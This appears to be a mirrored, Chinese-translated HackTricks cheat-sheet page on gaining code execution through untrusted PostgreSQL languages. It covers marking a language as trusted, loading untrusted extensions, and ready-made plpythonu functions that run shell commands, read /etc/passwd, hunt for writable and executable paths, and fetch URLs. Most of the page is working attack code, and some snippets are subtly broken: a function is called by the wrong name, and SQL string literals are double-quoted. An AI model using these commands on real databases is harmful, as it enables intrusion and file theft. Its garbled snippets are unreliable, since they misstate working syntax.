mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
303 lines
6.5 KiB
Markdown
303 lines
6.5 KiB
Markdown
# RCE with PostgreSQL Languages
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
## PostgreSQL Languages
|
||
|
||
您获得访问权限的 PostgreSQL 数据库可能安装了不同的 **脚本语言**,您可以利用这些语言来 **执行任意代码**。
|
||
|
||
您可以 **让它们运行**:
|
||
```sql
|
||
\dL *
|
||
|
||
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
|
||
```
|
||
大多数可以在 PostgreSQL 中安装的脚本语言有 **2 种类型**:**受信任的** 和 **不受信任的**。**不受信任的** 语言名称 **以 "u" 结尾**,并且是允许你 **执行代码** 和使用其他有趣功能的版本。如果安装了这些语言,它们会很有趣:
|
||
|
||
- **plpythonu**
|
||
- **plpython3u**
|
||
- **plperlu**
|
||
- **pljavaU**
|
||
- **plrubyu**
|
||
- ...(任何其他使用不安全版本的编程语言)
|
||
|
||
> [!WARNING]
|
||
> 如果你发现一个有趣的语言是 **已安装** 但被 PostgreSQL **标记为不受信任**(**`lanpltrusted`** 为 **`false`**),你可以尝试用以下语句 **信任它**,这样 PostgreSQL 就不会施加任何限制:
|
||
>
|
||
> ```sql
|
||
> UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
|
||
> # 检查你对表 pg_language 的权限
|
||
> SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
|
||
> ```
|
||
|
||
> [!CAUTION]
|
||
> 如果你没有看到某个语言,你可以尝试加载它(**你需要是超级管理员**):
|
||
>
|
||
> ```
|
||
> CREATE EXTENSION plpythonu;
|
||
> CREATE EXTENSION plpython3u;
|
||
> CREATE EXTENSION plperlu;
|
||
> CREATE EXTENSION pljavaU;
|
||
> CREATE EXTENSION plrubyu;
|
||
> ```
|
||
|
||
请注意,可以将安全版本编译为“不安全”。例如,查看 [**this**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html)。因此,即使你只发现安装了 **受信任的** 版本,尝试执行代码也是值得的。
|
||
|
||
## plpythonu/plpython3u
|
||
|
||
{{#tabs}}
|
||
{{#tab name="RCE"}}
|
||
```sql
|
||
CREATE OR REPLACE FUNCTION exec (cmd text)
|
||
RETURNS VARCHAR(65535) stable
|
||
AS $$
|
||
import os
|
||
return os.popen(cmd).read()
|
||
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
|
||
$$
|
||
LANGUAGE 'plpythonu';
|
||
|
||
SELECT cmd("ls"); #RCE with popen or execve
|
||
```
|
||
{{#endtab}}
|
||
|
||
{{#tab name="获取操作系统用户"}}
|
||
```sql
|
||
CREATE OR REPLACE FUNCTION get_user (pkg text)
|
||
RETURNS VARCHAR(65535) stable
|
||
AS $$
|
||
import os
|
||
return os.getlogin()
|
||
$$
|
||
LANGUAGE 'plpythonu';
|
||
|
||
SELECT get_user(""); #Get user, para is useless
|
||
```
|
||
{{#endtab}}
|
||
|
||
{{#tab name="列出目录"}}
|
||
```sql
|
||
CREATE OR REPLACE FUNCTION lsdir (dir text)
|
||
RETURNS VARCHAR(65535) stable
|
||
AS $$
|
||
import json
|
||
from os import walk
|
||
files = next(walk(dir), (None, None, []))
|
||
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
|
||
$$
|
||
LANGUAGE 'plpythonu';
|
||
|
||
SELECT lsdir("/"); #List dir
|
||
```
|
||
{{#endtab}}
|
||
|
||
{{#tab name="查找 W 文件夹"}}
|
||
```sql
|
||
CREATE OR REPLACE FUNCTION findw (dir text)
|
||
RETURNS VARCHAR(65535) stable
|
||
AS $$
|
||
import os
|
||
def my_find(path):
|
||
writables = []
|
||
def find_writable(path):
|
||
if not os.path.isdir(path):
|
||
return
|
||
if os.access(path, os.W_OK):
|
||
writables.append(path)
|
||
if not os.listdir(path):
|
||
return
|
||
else:
|
||
for item in os.listdir(path):
|
||
find_writable(os.path.join(path, item))
|
||
find_writable(path)
|
||
return writables
|
||
|
||
return ", ".join(my_find(dir))
|
||
$$
|
||
LANGUAGE 'plpythonu';
|
||
|
||
SELECT findw("/"); #Find Writable folders from a folder (recursively)
|
||
```
|
||
{{#endtab}}
|
||
|
||
{{#tab name="查找文件"}}
|
||
```sql
|
||
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
|
||
RETURNS VARCHAR(65535) stable
|
||
AS $$
|
||
import os
|
||
def my_find(path):
|
||
executables = []
|
||
def find_executables(path):
|
||
if not os.path.isdir(path):
|
||
executables.append(path)
|
||
|
||
if os.path.isdir(path):
|
||
if not os.listdir(path):
|
||
return
|
||
else:
|
||
for item in os.listdir(path):
|
||
find_executables(os.path.join(path, item))
|
||
find_executables(path)
|
||
return executables
|
||
|
||
a = my_find("/")
|
||
b = []
|
||
|
||
for i in a:
|
||
if exe_sea in os.path.basename(i):
|
||
b.append(i)
|
||
return ", ".join(b)
|
||
$$
|
||
LANGUAGE 'plpythonu';
|
||
|
||
SELECT find_file("psql"); #Find a file
|
||
```
|
||
{{#endtab}}
|
||
|
||
{{#tab name="查找可执行文件"}}
|
||
```sql
|
||
CREATE OR REPLACE FUNCTION findx (dir text)
|
||
RETURNS VARCHAR(65535) stable
|
||
AS $$
|
||
import os
|
||
def my_find(path):
|
||
executables = []
|
||
def find_executables(path):
|
||
if not os.path.isdir(path) and os.access(path, os.X_OK):
|
||
executables.append(path)
|
||
|
||
if os.path.isdir(path):
|
||
if not os.listdir(path):
|
||
return
|
||
else:
|
||
for item in os.listdir(path):
|
||
find_executables(os.path.join(path, item))
|
||
find_executables(path)
|
||
return executables
|
||
|
||
a = my_find(dir)
|
||
b = []
|
||
|
||
for i in a:
|
||
b.append(os.path.basename(i))
|
||
return ", ".join(b)
|
||
$$
|
||
LANGUAGE 'plpythonu';
|
||
|
||
SELECT findx("/"); #Find an executables in folder (recursively)
|
||
```
|
||
{{#endtab}}
|
||
|
||
{{#tab name="通过子字符串查找 exec"}}
|
||
```sql
|
||
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
|
||
RETURNS VARCHAR(65535) stable
|
||
AS $$
|
||
import os
|
||
def my_find(path):
|
||
executables = []
|
||
def find_executables(path):
|
||
if not os.path.isdir(path) and os.access(path, os.X_OK):
|
||
executables.append(path)
|
||
|
||
if os.path.isdir(path):
|
||
if not os.listdir(path):
|
||
return
|
||
else:
|
||
for item in os.listdir(path):
|
||
find_executables(os.path.join(path, item))
|
||
find_executables(path)
|
||
return executables
|
||
|
||
a = my_find("/")
|
||
b = []
|
||
|
||
for i in a:
|
||
if exe_sea in i:
|
||
b.append(i)
|
||
return ", ".join(b)
|
||
$$
|
||
LANGUAGE 'plpythonu';
|
||
|
||
SELECT find_exe("psql"); #Find executable by susbstring
|
||
```
|
||
{{#endtab}}
|
||
|
||
{{#tab name="阅读"}}
|
||
```sql
|
||
CREATE OR REPLACE FUNCTION read (path text)
|
||
RETURNS VARCHAR(65535) stable
|
||
AS $$
|
||
import base64
|
||
encoded_string= base64.b64encode(open(path).read())
|
||
return encoded_string.decode('utf-8')
|
||
return open(path).read()
|
||
$$
|
||
LANGUAGE 'plpythonu';
|
||
|
||
select read('/etc/passwd'); #Read a file in b64
|
||
```
|
||
{{#endtab}}
|
||
|
||
{{#tab name="获取权限"}}
|
||
```sql
|
||
CREATE OR REPLACE FUNCTION get_perms (path text)
|
||
RETURNS VARCHAR(65535) stable
|
||
AS $$
|
||
import os
|
||
status = os.stat(path)
|
||
perms = oct(status.st_mode)[-3:]
|
||
return str(perms)
|
||
$$
|
||
LANGUAGE 'plpythonu';
|
||
|
||
select get_perms("/etc/passwd"); # Get perms of file
|
||
```
|
||
{{#endtab}}
|
||
|
||
{{#tab name="Request"}}
|
||
```sql
|
||
CREATE OR REPLACE FUNCTION req2 (url text)
|
||
RETURNS VARCHAR(65535) stable
|
||
AS $$
|
||
import urllib
|
||
r = urllib.urlopen(url)
|
||
return r.read()
|
||
$$
|
||
LANGUAGE 'plpythonu';
|
||
|
||
SELECT req2('https://google.com'); #Request using python2
|
||
|
||
CREATE OR REPLACE FUNCTION req3 (url text)
|
||
RETURNS VARCHAR(65535) stable
|
||
AS $$
|
||
from urllib import request
|
||
r = request.urlopen(url)
|
||
return r.read()
|
||
$$
|
||
LANGUAGE 'plpythonu';
|
||
|
||
SELECT req3('https://google.com'); #Request using python3
|
||
```
|
||
{{#endtab}}
|
||
{{#endtabs}}
|
||
|
||
## pgSQL
|
||
|
||
查看以下页面:
|
||
|
||
{{#ref}}
|
||
pl-pgsql-password-bruteforce.md
|
||
{{#endref}}
|
||
|
||
## C
|
||
|
||
查看以下页面:
|
||
|
||
{{#ref}}
|
||
rce-with-postgresql-extensions.md
|
||
{{#endref}}
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|